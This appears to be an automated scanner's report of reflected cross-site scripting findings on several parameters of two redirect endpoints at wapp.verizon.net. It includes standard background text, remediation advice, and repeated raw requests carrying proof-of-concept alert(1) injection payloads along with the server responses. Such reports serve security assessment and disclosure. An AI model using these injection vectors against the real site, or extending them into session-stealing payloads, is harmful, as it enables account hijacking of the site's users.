Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the WT.ti request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c748"%3balert(1)//a814480360d was submitted in the WT.ti parameter. This input was echoed as 9c748";alert(1)//a814480360d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmarks/bmredirex.asp?bm=webt_vzsurround&WT.ti=Central/Header/vzsurround_lnkout9c748"%3balert(1)//a814480360d HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://www.verizon.net/central/appmanager/portal/vzcentral Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 152 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 01:48:34 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 01:48:34 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=T2NHMnySvcZpqX6wZM4gwP0QdlsfW8NSqTwB5vsX8vvGTd9mcWpV!133454377; path=/
The value of the channel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e80cd"%3balert(1)//130ab0744e1 was submitted in the channel parameter. This input was echoed as e80cd";alert(1)//130ab0744e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmarks/bmredirex.asp?bm=goo_search&q='&web_search_type=basic&clientid=cnsmr&channel=Nwcnsmre80cd"%3balert(1)//130ab0744e1 HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:09:53 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:09:53 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=2yWNMntR2VP6ScZhsjs316DnrdJyKR4tNT4KFC3Tlgw3M6qTrYxC!-16130884; path=/
The value of the clientid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee502"%3balert(1)//be7a3cddcbe was submitted in the clientid parameter. This input was echoed as ee502";alert(1)//be7a3cddcbe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmarks/bmredirex.asp?bm=goo_search&q='&web_search_type=basic&clientid=cnsmree502"%3balert(1)//be7a3cddcbe&channel=Nwcnsmr HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:09:30 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:09:30 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=49hPMnthQRfmJYvnpJ7YLhQRMxK64N2vwmLvCfHFQqf4VKnbKGQy!-552517484; path=/
1.4. http://wapp.verizon.net/bookmarks/bmredirex.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://wapp.verizon.net
Path:
/bookmarks/bmredirex.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f54c1"%3balert(1)//67e8173d08d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f54c1";alert(1)//67e8173d08d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmarks/bmredirex.asp?bm=webt_vzsurround&WT.ti=Central/Header/vzsurround_lnkout&f54c1"%3balert(1)//67e8173d08d=1 HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://www.verizon.net/central/appmanager/portal/vzcentral Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 155 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 01:48:56 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 01:48:56 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=6WMRMnpLcT21tTHQ614mJtX0tcZp14FT8s1Ly11BB1kNqpGpDK6m!-552517484; path=/
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f8b66"%3balert(1)//b6c880b93f7 was submitted in the q parameter. This input was echoed as f8b66";alert(1)//b6c880b93f7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmarks/bmredirex.asp?bm=goo_search&q='f8b66"%3balert(1)//b6c880b93f7&web_search_type=basic&clientid=cnsmr&channel=Nwcnsmr HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:08:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:08:45 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=QkFsMntNGTxpwFvTMLpddppD4hwQGbGJ0JMQcgH9Hm6mpLK12BHl!-16130884; path=/
The value of the web_search_type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8b1d"%3balert(1)//54879207f6a was submitted in the web_search_type parameter. This input was echoed as d8b1d";alert(1)//54879207f6a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmarks/bmredirex.asp?bm=goo_search&q='&web_search_type=basicd8b1d"%3balert(1)//54879207f6a&clientid=cnsmr&channel=Nwcnsmr HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 02:09:08 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:09:08 GMT Connection: close Set-Cookie: VZCSESSIONID=3Z6JMntGTjQnpj89SqNJNCqKqk8Q965Xg3t45VjvdyLRx1npqRNk!-552517484; path=/
The value of the WT.ti request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26041"%3balert(1)//db67067f088 was submitted in the WT.ti parameter. This input was echoed as 26041";alert(1)//db67067f088 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/bookmarks_ex/redirectex.ashx?bm=webt_vzsurround&WT.ti=Central/Header/vzsurround_lnkout26041"%3balert(1)//db67067f088 HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://www.verizon.net/central/appmanager/portal/vzcentral Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 152 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 01:48:08 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 01:48:08 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=tJRbMnyY3CbLSg6h2jR6dxjvj3LwGxBkZF7LyXnM5TCF48L4p6G4!-1123586183; path=/
The value of the channel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3e18"%3balert(1)//1ba31d2c96 was submitted in the channel parameter. This input was echoed as c3e18";alert(1)//1ba31d2c96 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/bookmarks_ex/redirectex.ashx?bm=goo_search&q='&web_search_type=basic&clientid=cnsmr&channel=Nwcnsmrc3e18"%3balert(1)//1ba31d2c96 HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 220 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:08:03 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:08:03 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=N0LMMntDQ3RpWt1Ch6H3NPdJYM9gz6cJ23S2zTrpNkZFPldZyDTL!-732060938; path=/
The value of the clientid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28952"%3balert(1)//a64a12a87fe was submitted in the clientid parameter. This input was echoed as 28952";alert(1)//a64a12a87fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/bookmarks_ex/redirectex.ashx?bm=goo_search&q='&web_search_type=basic&clientid=cnsmr28952"%3balert(1)//a64a12a87fe&channel=Nwcnsmr HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:07:59 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:59 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=Sy2TMntffpm2wv5r2R1yT69GzhdMh6QTMyJDyYQztYdx8gR8vbmG!396615442; path=/
1.10. http://wapp.verizon.net/handlers/bookmarks_ex/redirectex.ashx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://wapp.verizon.net
Path:
/handlers/bookmarks_ex/redirectex.ashx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 17699"%3balert(1)//ab8a8ea1a80 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 17699";alert(1)//ab8a8ea1a80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/bookmarks_ex/redirectex.ashx?bm=webt_vzsurround&WT.ti=Central/Header/vzsurround_lnkout&17699"%3balert(1)//ab8a8ea1a80=1 HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://www.verizon.net/central/appmanager/portal/vzcentral Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 155 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 01:48:08 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 01:48:08 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=7g52MnyYqTy13KL31X5pnlsmbPLtrhtyjyP8rXxwQ66gzGgkcvRT!133454377; path=/
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4e720"%3balert(1)//81de72d4a66 was submitted in the q parameter. This input was echoed as 4e720";alert(1)//81de72d4a66 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/bookmarks_ex/redirectex.ashx?bm=goo_search&q='4e720"%3balert(1)//81de72d4a66&web_search_type=basic&clientid=cnsmr&channel=Nwcnsmr HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:07:57 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:57 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=0h8GMntdpL8cWDx9D4hWqZ5N1YLxWM7dWJj4G1SnRG8pZrG7PSc9!-552517484; path=/
The value of the web_search_type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12a04"%3balert(1)//4994f840c79 was submitted in the web_search_type parameter. This input was echoed as 12a04";alert(1)//4994f840c79 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/bookmarks_ex/redirectex.ashx?bm=goo_search&q='&web_search_type=basic12a04"%3balert(1)//4994f840c79&clientid=cnsmr&channel=Nwcnsmr HTTP/1.1 Host: wapp.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response (redirected)
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:07:57 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:57 GMT Connection: close Vary: Accept-Encoding Set-Cookie: VZCSESSIONID=vnznMntdnppz3b1fGRLzPLpJCkPys1C1rnTyhKdsftXNHrRpy26h!-1123586183; path=/